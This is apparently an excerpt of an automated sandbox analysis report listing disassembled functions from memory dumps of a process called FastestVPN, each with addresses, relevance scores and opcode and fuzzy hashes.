                                                                                                                  • Opcode ID: a6dd4ffef61b62ca6bb1dd77873ee06a3a8c5323eb994bc59d850b1735546b73
                                                                                                                  • Instruction ID: 478cba634660f79c3fba810105714802aa5eba5f96aaf20366e54cb4fdddbe03
                                                                                                                  • Opcode Fuzzy Hash: a6dd4ffef61b62ca6bb1dd77873ee06a3a8c5323eb994bc59d850b1735546b73
                                                                                                                  • Instruction Fuzzy Hash: 3B11BE70A00306CFD760CF28C544FA9FBE1EB40360F44856AD45ACB692EB35E946DF80
                                                                                                                  Function 0148D6AB Relevance: .1, Instructions: 58COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3384792133.000000000148D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0148D000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_148d000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 448c806a5054ba187e4508f7a226a03bb761a6c68aed6e9adf4fb178f3854da0
                                                                                                                  • Instruction ID: 7697ccfc0f2889e194cbd5e95bd6c86e2cc681367e70bafc2826525e67a6a295
                                                                                                                  • Opcode Fuzzy Hash: 448c806a5054ba187e4508f7a226a03bb761a6c68aed6e9adf4fb178f3854da0
                                                                                                                  • Instruction Fuzzy Hash: A5219076504280DFDB06EF54D9C4B1ABF72FB88314F2486AAD9490B266C33AD416CB91
                                                                                                                  Function 0C6C64C7 Relevance: .1, Instructions: 58COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3436506770.000000000C6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C6C0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_c6c0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: fd69c347ee91a254e8584c069172d7b896a4223097f8d3929871e3c4a29dbd90
                                                                                                                  • Instruction ID: 9110ceb5161ff3420c39360d23fd90995cbf290484aab2610f4a1c0aea8640b1
                                                                                                                  • Opcode Fuzzy Hash: fd69c347ee91a254e8584c069172d7b896a4223097f8d3929871e3c4a29dbd90
                                                                                                                  • Instruction Fuzzy Hash: A3116D74B002089FCB14EB69C0946EDBBF6EF8D610F24419AE105AB365CE759C46CB94
                                                                                                                  Function 0BDB10E8 Relevance: .1, Instructions: 57COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: fb9bcb97f538e6978a0ee596b09923faf84cbdcef87e3b703b4489d024415c9e
                                                                                                                  • Instruction ID: 28658353de2cc00425fecd0844889a7cdc1751439506c3b4d29dbe6a63bd1731
                                                                                                                  • Opcode Fuzzy Hash: fb9bcb97f538e6978a0ee596b09923faf84cbdcef87e3b703b4489d024415c9e
                                                                                                                  • Instruction Fuzzy Hash: F911A532710204AFD714DF98D844EAFB7EAFB88760F14452AE505DB341DB71E9058BA0
                                                                                                                  Function 0148D51F Relevance: .1, Instructions: 56COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3384792133.000000000148D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0148D000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_148d000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 347ceff61f71c01d8d79cfdbd8358f6f0be4c31f492294fd5b1d002aa0560fbf
                                                                                                                  • Instruction ID: cf35d5003a79866f9d099bb76db42b92c8d918670b628c6584611d33c2d027cf
                                                                                                                  • Opcode Fuzzy Hash: 347ceff61f71c01d8d79cfdbd8358f6f0be4c31f492294fd5b1d002aa0560fbf
                                                                                                                  • Instruction Fuzzy Hash: 3F11B176904284CFCB16DF54D5C4B1ABF71FB84318F24C5AAD8094B667C33AD456CBA1
                                                                                                                  Function 0BDBFEB0 Relevance: .1, Instructions: 56COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 7d65e5a8eab9d50a629253998ffdb51c812d7c41e6db6b07c7081b7c7db995d0
                                                                                                                  • Instruction ID: 0ab11af0136f91fe9705c44971850fbfbc4d2945ccc75a48fa074a7dc06515ca
                                                                                                                  • Opcode Fuzzy Hash: 7d65e5a8eab9d50a629253998ffdb51c812d7c41e6db6b07c7081b7c7db995d0
                                                                                                                  • Instruction Fuzzy Hash: E921B678E0120ADFCB04EFA8D5909AEBBF1FF89310F5144A9D545AB364DA30AA45CF91
                                                                                                                  Function 0BDBB3C8 Relevance: .1, Instructions: 55COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: ca05f44b47259576bafd6c5998a783b05ec32a1ac425d41c88cd67232093e4c7
                                                                                                                  • Instruction ID: 1ee569c3b5eeeb81dc0375643c187488d073fb24a98b6feb1c31ae8ed7d0d362
                                                                                                                  • Opcode Fuzzy Hash: ca05f44b47259576bafd6c5998a783b05ec32a1ac425d41c88cd67232093e4c7
                                                                                                                  • Instruction Fuzzy Hash: 70119E35B0011ADFCB14DFA8E8848AEFBF2FBD8354B108129E50AC7355D7308A02CB91
                                                                                                                  Function 0BDB10D9 Relevance: .1, Instructions: 54COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: ac67e51dc8f00f49af99beab6e77e5e326284f30683b90d6d40f26aff16842e9
                                                                                                                  • Instruction ID: 23f90b6d653e551389d1a34ec2f4f8a6aca9bc3e0a654787214b1161a3d119a2
                                                                                                                  • Opcode Fuzzy Hash: ac67e51dc8f00f49af99beab6e77e5e326284f30683b90d6d40f26aff16842e9
                                                                                                                  • Instruction Fuzzy Hash: 7F118271710205AFD714DF68DC44FAEBBAAFB88710F14462EE505DB391DBB1D9068B90
                                                                                                                  Function 0C6C6DB0 Relevance: .1, Instructions: 54COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3436506770.000000000C6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C6C0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_c6c0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: e3c60cef0b2e950b125576a6165642343d7d676a6f8ab9b7f7385bb7db9845a9
                                                                                                                  • Instruction ID: ec9cdbe0b8bee3960a7a2d8825d84519ff3a4680d21bdaeedc3edccd958ee00d
                                                                                                                  • Opcode Fuzzy Hash: e3c60cef0b2e950b125576a6165642343d7d676a6f8ab9b7f7385bb7db9845a9
                                                                                                                  • Instruction Fuzzy Hash: A601B1363052245FD3249A1AE8C4E66B7E9FF88761B54802EF946CB350CA31F8058764
                                                                                                                  Function 015AD31B Relevance: .1, Instructions: 53COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3386000040.00000000015AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015AD000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_15ad000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: f5dd070f47a673dda7babee824c8441981cc2d376d27ad6ac8e2bf7ef2f1688d
                                                                                                                  • Instruction ID: bdd8529f0ccfed15e01fe113f709fd249347e9c94cb3c7fac88ae9d78d8fa0e0
                                                                                                                  • Opcode Fuzzy Hash: f5dd070f47a673dda7babee824c8441981cc2d376d27ad6ac8e2bf7ef2f1688d
                                                                                                                  • Instruction Fuzzy Hash: 8D11BB75544284CFCB02DF54D5C0B19BFB1FB84314F24C6AAD94A4FA96C33AD41ACB61
                                                                                                                  Function 0BDBEF00 Relevance: .1, Instructions: 52COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 3af4852fe8ee7d135b05ef0600df48c9cabfdd9b0b564ddec4abc760cd15a8a7
                                                                                                                  • Instruction ID: a9a0dcc82e43e25bf6ca53e295dcd946747f9c81b6fc5a8e0e0431a9d754766f
                                                                                                                  • Opcode Fuzzy Hash: 3af4852fe8ee7d135b05ef0600df48c9cabfdd9b0b564ddec4abc760cd15a8a7
                                                                                                                  • Instruction Fuzzy Hash: 1301D835A0E3C49FC7128B999850CDABFB6DEDB72031AC5ABE845CB363C6309801D361
                                                                                                                  Function 0BDB57D8 Relevance: .1, Instructions: 51COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 56189b7f9e25dfeed7876eb2afbe60e9a80d8925fb04d5f19cd80387c82d16ef
                                                                                                                  • Instruction ID: 7b29adb23c45bf88bc725a2b6afb85e9fa3f5bf568b511b64afce1858617074b
                                                                                                                  • Opcode Fuzzy Hash: 56189b7f9e25dfeed7876eb2afbe60e9a80d8925fb04d5f19cd80387c82d16ef
                                                                                                                  • Instruction Fuzzy Hash: B8014777B042859FD329CB68B810EFAFB95EBE4339F14423AE106C7250D6218811D790
                                                                                                                  Function 0BDBCC0A Relevance: .1, Instructions: 51COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 60904c64d17f88d396d599c8d2a87880f05e88d6954dc32077bd8b9e0710bf5f
                                                                                                                  • Instruction ID: 79f7786b3ecf0ad01c09ca6845aca969ddd73d7b4fe1a105ac7d5dd7cd80164b
                                                                                                                  • Opcode Fuzzy Hash: 60904c64d17f88d396d599c8d2a87880f05e88d6954dc32077bd8b9e0710bf5f
                                                                                                                  • Instruction Fuzzy Hash: 8B118F35600245DFCB00DF68C888D9EBBB2FF88324B248559E4099B322DB71ED42CB90
                                                                                                                  Function 0C6C64D8 Relevance: .1, Instructions: 51COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3436506770.000000000C6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C6C0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_c6c0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 8287847d45b0d6934c2dde491dd35396cd4e9cd24549f9bfb5fdb45a31a12f70
                                                                                                                  • Instruction ID: a1b458847f2dc388a954098836fbb985917a43566ff821b1796e1827cffe156b
                                                                                                                  • Opcode Fuzzy Hash: 8287847d45b0d6934c2dde491dd35396cd4e9cd24549f9bfb5fdb45a31a12f70
                                                                                                                  • Instruction Fuzzy Hash: B9112E75B102189FCB14EB69C4946ADBBF6EF8D610F204059E105E7364CE759C45CB94
                                                                                                                  Function 0BDBCC10 Relevance: .0, Instructions: 50COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 41e7acda802c9d09ab04c0d4e38450dadd3070eea11212f6e130874433a82264
                                                                                                                  • Instruction ID: 528580476c4d37aaebb73175f714b86028adb36ed709f10591ce2c0b80d3b6ec
                                                                                                                  • Opcode Fuzzy Hash: 41e7acda802c9d09ab04c0d4e38450dadd3070eea11212f6e130874433a82264
                                                                                                                  • Instruction Fuzzy Hash: 37117035600205DFC704DF68C888D9EBBF6FF89324B158559E9199B362DB71ED42CB90
                                                                                                                  Function 0BDB3D32 Relevance: .0, Instructions: 48COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: c727afcbb2dd87bc04bc351c5416e7c4910a12eef1ad2a3f6f7379eb3123b7d3
                                                                                                                  • Instruction ID: 9ad6706328988072cfc2bbc726afdd288386fe7845051a6bc8b3087cec3b4075
                                                                                                                  • Opcode Fuzzy Hash: c727afcbb2dd87bc04bc351c5416e7c4910a12eef1ad2a3f6f7379eb3123b7d3
                                                                                                                  • Instruction Fuzzy Hash: 121100316006468FD721DF29E98098FBBE1EF94350B008B2DE54A8B765EB71FD468B90
                                                                                                                  Function 0148DACD Relevance: .0, Instructions: 45COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3384792133.000000000148D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0148D000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_148d000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: d0430540dfcc2bcebe06fbb66059e7fe6a826b5286097d5a3f5a894e75152c32
                                                                                                                  • Instruction ID: 191a44b6a9cc122697f19f3bffdf465f23c1d518f7230e313a047619faabc806
                                                                                                                  • Opcode Fuzzy Hash: d0430540dfcc2bcebe06fbb66059e7fe6a826b5286097d5a3f5a894e75152c32
                                                                                                                  • Instruction Fuzzy Hash: 9B01F73190A3459AEB10AA99CCC0B6BFF98EF41220F18855BED084A2D6C278D841CA71
                                                                                                                  Function 0C6C6D38 Relevance: .0, Instructions: 45COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3436506770.000000000C6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C6C0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_c6c0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 9a1e2b7b9c1eaecab1ba81e41a5e6ba2b7d7c4437b5712bb787b20dfe360052b
                                                                                                                  • Instruction ID: 93f20ad6d0464b506588c8e850a8045f190207d6c5a5c1098c70f278fddf03a9
                                                                                                                  • Opcode Fuzzy Hash: 9a1e2b7b9c1eaecab1ba81e41a5e6ba2b7d7c4437b5712bb787b20dfe360052b
                                                                                                                  • Instruction Fuzzy Hash: F7F0F432B0192447D3348A19D8857B672F6FF95765F24816DBC048B318D631F80482CD
                                                                                                                  Function 0148D813 Relevance: .0, Instructions: 43COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3384792133.000000000148D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0148D000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_148d000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 5363faba83341b513fe2d356de6f67d99a7fe344c3b9b3600e3fffae611097a7
                                                                                                                  • Instruction ID: 83185178cfa54ca411ddd58e699d721cdb55f76298bf4c6bd5fcc7f58641731f
                                                                                                                  • Opcode Fuzzy Hash: 5363faba83341b513fe2d356de6f67d99a7fe344c3b9b3600e3fffae611097a7
                                                                                                                  • Instruction Fuzzy Hash: 42011E72500A04AFD7219F46DD44C27FBB9FF88720305855EE94A4BA21C332F851DF60
                                                                                                                  Function 0C6C7039 Relevance: .0, Instructions: 43COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3436506770.000000000C6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C6C0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_c6c0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 896c7ade3ce46a4015276ce229d9757d42cfe11da699473c8b79d3c909bdfc60
                                                                                                                  • Instruction ID: 23b8bfd76feef4c192db995743ad710aeee0a423a8ae3df98ed2e6f80dae54a9
                                                                                                                  • Opcode Fuzzy Hash: 896c7ade3ce46a4015276ce229d9757d42cfe11da699473c8b79d3c909bdfc60
                                                                                                                  • Instruction Fuzzy Hash: 5F01D1B17002219FD3249B75D4A577637E5EB46200F29849DD4468B768EA75AC06CF90
                                                                                                                  Function 0BDB1188 Relevance: .0, Instructions: 42COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 4a78fb6c154353bd82359815b8c659d691ec7f44cf4c606164028b93b4db9e5a
                                                                                                                  • Instruction ID: 57d5efd23c33365542368340529e562f8e54ad6d18eda2d415efd701bf6e2608
                                                                                                                  • Opcode Fuzzy Hash: 4a78fb6c154353bd82359815b8c659d691ec7f44cf4c606164028b93b4db9e5a
                                                                                                                  • Instruction Fuzzy Hash: F00125313007068FD725DF29E94494BBBE6EF84314B008A2DE55A8B765EB70FD468BD0
                                                                                                                  Function 0148D804 Relevance: .0, Instructions: 41COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3384792133.000000000148D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0148D000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_148d000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: d1870a8c107003c56592828bd82853840b0d54d1d1b7c823964546b5cee2c9a5
                                                                                                                  • Instruction ID: 326241b0e3d0bb7ac030cd7f31c5c44041e6c633a28c62bbe2d497cac558392a
                                                                                                                  • Opcode Fuzzy Hash: d1870a8c107003c56592828bd82853840b0d54d1d1b7c823964546b5cee2c9a5
                                                                                                                  • Instruction Fuzzy Hash: 7C010035104640AFD7219F55CD44C23BFB9FF89720715858DE9964BA62C331F851DF60
                                                                                                                  Function 0BDBF7D8 Relevance: .0, Instructions: 41COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: de8ab140e129ec07f7f780c10be349a84326c0833b67f8ee3c65c37abfa830d3
                                                                                                                  • Instruction ID: 40881d53bb777f840b6dc776f4f66803c06c0fad6453fb825034de5594b38aa6
                                                                                                                  • Opcode Fuzzy Hash: de8ab140e129ec07f7f780c10be349a84326c0833b67f8ee3c65c37abfa830d3
                                                                                                                  • Instruction Fuzzy Hash: FEF05476B08215CF9B0C9FA8B8048AAF7EAEB4427571440BFE10EC7651EA31D941C795
                                                                                                                  Function 0C6C7048 Relevance: .0, Instructions: 39COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3436506770.000000000C6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C6C0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_c6c0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 93bdef00f8dcb945111db81638853a88f650ec47d3f380557ae1b297f74e1179
                                                                                                                  • Instruction ID: 0b4f11f540dff2c8a45b52f1ccf1770dae330c97fe9890f8372cc554ca719a9d
                                                                                                                  • Opcode Fuzzy Hash: 93bdef00f8dcb945111db81638853a88f650ec47d3f380557ae1b297f74e1179
                                                                                                                  • Instruction Fuzzy Hash: E5F02BB53102215FD324A776C46577B73DAEB84641F6484ACD406DB7A8EE71EC058FD0
                                                                                                                  Function 0C6C6FB0 Relevance: .0, Instructions: 39COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3436506770.000000000C6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C6C0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_c6c0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 889e607739cfa2dbbc7d15f6e273346415418f371ed951c739a9756f6d59e647
                                                                                                                  • Instruction ID: 23b835d396fc70085b4307d9cfc79337c37e58ce5fac85954e9af2552983ce0b
                                                                                                                  • Opcode Fuzzy Hash: 889e607739cfa2dbbc7d15f6e273346415418f371ed951c739a9756f6d59e647
                                                                                                                  • Instruction Fuzzy Hash: BAF04F72A041149F8B54DFADE448ABE7BF5EBCC310B14412DD55AD7200DA355912CBD1
                                                                                                                  Function 0C6C6598 Relevance: .0, Instructions: 38COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3436506770.000000000C6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C6C0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_c6c0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 109615d0440690752e65eccfad635d327fff9472b7586a3bfa865cea22c6a9aa
                                                                                                                  • Instruction ID: d4c6a9518ab926c4dd55e2d792fbbacf173f638712b719a87093c4537e26dd43
                                                                                                                  • Opcode Fuzzy Hash: 109615d0440690752e65eccfad635d327fff9472b7586a3bfa865cea22c6a9aa
                                                                                                                  • Instruction Fuzzy Hash: EFF0B2353005109FC714DB1AD888C6ABBE5FF8D72139680A9F50ACB365CB31EC45CB84
                                                                                                                  Function 0148D64F Relevance: .0, Instructions: 37COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3384792133.000000000148D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0148D000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_148d000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: dc89a3641430aecdc7c40bdce1d333a23b3a3a8d5247b91659210640e93c12b2
                                                                                                                  • Instruction ID: c09cb85eef493b5c43d343ada8f0962acf6cf4f0d6f09f80d375727547afcc0d
                                                                                                                  • Opcode Fuzzy Hash: dc89a3641430aecdc7c40bdce1d333a23b3a3a8d5247b91659210640e93c12b2
                                                                                                                  • Instruction Fuzzy Hash: 26F04976600608AF9320CF0AC884C27FBADEFC4670715C19AE84E4B762C331FC42CAA0
                                                                                                                  Function 0BDB8BB0 Relevance: .0, Instructions: 37COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3431072594.000000000BDB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BDB0000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_bdb0000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: fe22bef5ceae9f03aa378229d2d7706877aee9585f58c3bb4eb265148e3b7efb
                                                                                                                  • Instruction ID: a3fdd2dfa53c326c0421c58c88b4037a2d0c9ac047b734bc1f31159a08d667f9
                                                                                                                  • Opcode Fuzzy Hash: fe22bef5ceae9f03aa378229d2d7706877aee9585f58c3bb4eb265148e3b7efb
                                                                                                                  • Instruction Fuzzy Hash: F0F0E9B36083509FD3648A79AD44BB3BBDDDF913B6B08447FE04AC2290D136C500AB15
                                                                                                                  Function 0148DACC Relevance: .0, Instructions: 36COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000024.00000002.3384792133.000000000148D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0148D000, based on PE: false
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_36_2_148d000_FastestVPN.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: f567dafb8968f61430446fd3facd4fe0881ee9d76435fbc5fefbfc05ff4da68f
                                                                                                                  • Instruction ID: cd40e08a406d68fbcc8fa21aec1deb97cc5963a8b2f778fa0710433389263716
                                                                                                                  • Opcode Fuzzy Hash: f567dafb8968f61430446fd3facd4fe0881ee9d76435fbc5fefbfc05ff4da68f
